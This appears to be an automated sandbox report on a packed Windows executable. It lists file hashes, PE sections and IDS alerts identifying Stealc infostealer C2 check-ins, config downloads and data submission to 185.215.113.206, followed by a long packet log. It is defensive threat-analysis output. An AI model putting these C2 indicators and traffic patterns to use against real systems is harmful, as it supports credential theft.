MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.961064530515662
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'108'928 bytes
MD5:	d001cded98f2a0e02568a66035777e32
SHA1:	268a16ba949addaa5bc68528d55ba68d8343fdd2
SHA256:	62a876a3d8b793c1f9a17c32197ad9dc23b866ffdd6b37583e90be73352be7f2
SHA512:	cb7cea339328f078167d4d4b4a8d548588246fb6931f457edec90db6997c79dd1f885ae1b73aead8eb2c22f340b78d940219992645502e71b0fe15ae61cd8c59
SSDEEP:	49152:M3hgH0YGYAa61iTNnvT1Quyq0gcGkvfkieanIdDJ7LBzNSbSZy+NcVlc:0GxAZ4hnvTd2nnIdDJ7LBzsSZyAcy
TLSH:	34A533809CBEE042E9858AF3EBE0D288E1A76E7498552E7930C69637D0F3F44759DCD4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb1a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F60C4E1C8BAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	db2c66a4cb4bae56fbebf4d9a1b46a76	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x297000	0x200	3f0c6efa8ef411d96364dc3a4138edf8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xjxegmjo	0x581000	0x198000	0x197e00	f7357fad4253b4359b60d82ce3a4f880	False	0.9948194002834815	data	7.952984042619101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vijlqmwu	0x719000	0x1000	0x400	e9a3fd4c2feb89bb399eee0743dd65b9	False	0.76171875	data	6.03505560058034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x71a000	0x3000	0x2200	1d058ac74c0e276cc8dc779fb552aad4	False	0.061810661764705885	DOS executable (COM)	0.7358594297175299	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T02:07:11.373771+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-28T02:07:11.663687+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-28T02:07:11.674828+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49710	TCP
2024-10-28T02:07:11.962949+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-28T02:07:11.992524+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49710	TCP
2024-10-28T02:07:13.452975+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-28T02:07:14.089401+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-28T02:07:46.041772+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:47.401047+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:48.261891+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:48.961075+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:50.872441+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:51.363374+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49967	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 02:07:04.788558960 CET	49673	443	192.168.2.6	173.222.162.64
Oct 28, 2024 02:07:04.788558006 CET	49674	443	192.168.2.6	173.222.162.64
Oct 28, 2024 02:07:05.085443974 CET	49672	443	192.168.2.6	173.222.162.64
Oct 28, 2024 02:07:08.265880108 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:08.265925884 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:08.266005993 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:08.266649961 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:08.266660929 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:09.387818098 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:09.388037920 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:09.467524052 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:09.467540979 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:09.467984915 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:09.522871017 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:09.537688017 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:09.537791967 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:09.537797928 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:09.538005114 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:09.579328060 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:09.785079002 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:09.785605907 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:09.785605907 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:09.785621881 CET	443	49709	40.113.110.67	192.168.2.6
Oct 28, 2024 02:07:09.785751104 CET	49709	443	192.168.2.6	40.113.110.67
Oct 28, 2024 02:07:10.134233952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:10.140347958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:10.140443087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:10.140913010 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:10.146266937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.067904949 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.068162918 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.071635008 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.078489065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.373653889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.373770952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.375154972 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.380399942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.663424969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.663499117 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.663686991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.663686991 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.665864944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.674828053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.962845087 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.962949038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.962959051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.962994099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.963010073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.963030100 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.963033915 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.963066101 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.963082075 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.963103056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.963118076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.963161945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.963289022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.963345051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:11.963351965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.963395119 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.987003088 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:11.992523909 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.275213003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.275301933 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:12.647615910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:12.647717953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:12.653100014 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.653136969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.653202057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.653253078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.653280973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.653326035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.653353930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:12.674968004 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:12.675070047 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:12.675158978 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:12.675487995 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:12.675534964 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.426969051 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.427053928 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.431493998 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.431543112 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.431860924 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.443841934 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.452891111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:13.452975035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:13.487343073 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.663209915 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.663230896 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.663245916 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.663326979 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.663376093 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.663414955 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.663438082 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.693375111 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.693392038 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.693492889 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.693514109 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.693571091 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.803407907 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:13.808805943 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:13.810647011 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.810667992 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.810756922 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.810780048 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.810868979 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.813052893 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.813067913 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.813134909 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.813143969 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:13.813167095 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:13.813189030 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.072805882 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.072815895 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.072853088 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.072901011 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.072912931 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.072947025 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.072968006 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.073075056 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.073091984 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.073134899 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.073143005 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.073160887 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.073184967 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.080598116 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.080612898 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.080709934 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.080719948 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.080760002 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.082703114 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.082716942 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.082789898 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.082798004 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.082835913 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.089317083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.089354992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.089401007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.089454889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.089478016 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.089513063 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.089545965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.089555025 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.089580059 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.089581013 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.089601994 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.089637995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.090107918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.090142965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.090164900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.090190887 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.090461969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.090512037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.090514898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.090568066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.090585947 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.090603113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.090625048 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.090637922 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.090652943 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.090693951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.167665005 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.167684078 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.167817116 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.167843103 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.167915106 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.170331001 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.170346975 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.170414925 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.170427084 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.170479059 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.252051115 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252068043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252134085 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252136946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252175093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252239943 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252239943 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252239943 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252331972 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252348900 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252366066 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252398968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252437115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252743006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252762079 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252788067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252794981 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252804041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.252818108 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252852917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.252852917 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.253438950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.253454924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.253470898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.253485918 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.253498077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.253498077 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.253537893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.253556967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.254034042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.254060030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.254081011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.254086018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.254106045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.254110098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.254127026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.254132032 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.254151106 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.254174948 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.255027056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.255042076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.255058050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.255074024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.255084038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.255089998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.255126953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.255126953 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.255161047 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.255884886 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:14.255939007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:14.286393881 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.286426067 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.286597967 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.286629915 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.286696911 CET	49711	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:14.288139105 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.288187981 CET	443	49711	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:14.288225889 CET	49711	443	192.168.2.6	13.107.246.60
